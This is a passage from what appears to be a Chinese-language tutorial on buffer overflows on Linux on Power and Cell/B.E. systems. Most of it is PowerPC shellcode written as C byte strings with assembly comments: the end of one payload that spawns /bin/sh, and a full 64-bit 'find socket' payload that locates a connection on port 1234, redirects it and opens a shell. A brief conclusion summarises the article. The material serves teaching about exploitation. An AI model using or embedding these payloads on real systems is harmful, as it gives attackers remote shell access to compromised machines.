"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */ "\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */ "\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */ "\x94\x61\xff\xfc" /* stwu r3,-4(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */ "\x44\xff\xff\x02" /* sc */ "/bin/sh" ; |
#define FNDSOCKPORT 86 char fndsockcode64[]= /* 171 bytes */ "\x7f\xff\xfa\x78" /* xor r31,r31,r31 */ "\x3b\xa0\x01\xff" /* li r29,511 */ "\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */ "\x7c\x3c\x0b\x78" /* mr r28,r1 */ "\x3b\x7d\xfe\x11" /* addi r27,r29,-495 */ "\x97\x61\xff\xfc" /* stwu r27,-4(r1) */ "\x7c\x3a\x0b\x78" /* mr r26,r1 */ "\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */ "\xfb\x81\xff\xf9" /* stdu r28,-8(r1) */ "\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */ "\x3b\xff\x01\xff" /* addi r31,r31,511 */ "\x3b\xff\xfe\x02" /* addi r31,r31,-510 */ "\x38\x21\x01\xff" /* addi r1,r1,511 */ "\x38\x21\xfe\x09" /* addi r1,r1,-503 */ "\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x08" /* addi r3,r29,-504 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x3b\x3c\x01\xff" /* addi r25,r28,511 */ "\xa3\x39\xfe\x03" /* lhz r25,-509(r25) */ "\x28\x19\x04\xd2" /* cmplwi r25,1234 */ "\x40\x82\xff\xd0" /* bne+ <fndsockcode64+40> */ "\x3b\x1d\xfe\x03" /* addi r24,r29,-509 */ "\x7f\x04\xc3\x78" /* mr r4,r24 */ "\x7f\xe3\xfb\x78" /* mr r3,r31 */ "\x38\x1d\xfe\x40" /* addi r0,r29,-448 */ "\x44\xff\xff\x02" /* sc */ "\x37\x18\xff\xff" /* addic. r24,r24,-1 */ "\x40\x80\xff\xec" /* bge+ <fndsockcode64+96> */ "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel+ <fndsockcode64+120> */ "\x7f\xc8\x02\xa6" /* mflr r30 */ "\x3b\xde\x01\xff" /* addi r30,r30,511 */ "\x38\x7e\xfe\x25" /* addi r3,r30,-475 */ "\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */ "\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */ "\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */ "\x44\xff\xff\x02" /* sc */ "/bin/sh" ; |
結束語
希望您現在已經充分理解了 Power 和 Cell/B.E 系統上的緩衝區溢出問題。在本文中,我們討論了如何在 32 和 64 位模式下重寫局部變數,如何在 32 和 64 位模式下重寫函數指針,並通過 shell、網路和套接字代碼樣例解釋了彙編組件。(責任編輯:A6)
[火星人 ] LoP/Cell/B.E.:緩衝區溢出漏洞,第 2 部分: 了解緩衝區溢出機制在基於 Linux on Power 的系統上如何進行已經有946次圍觀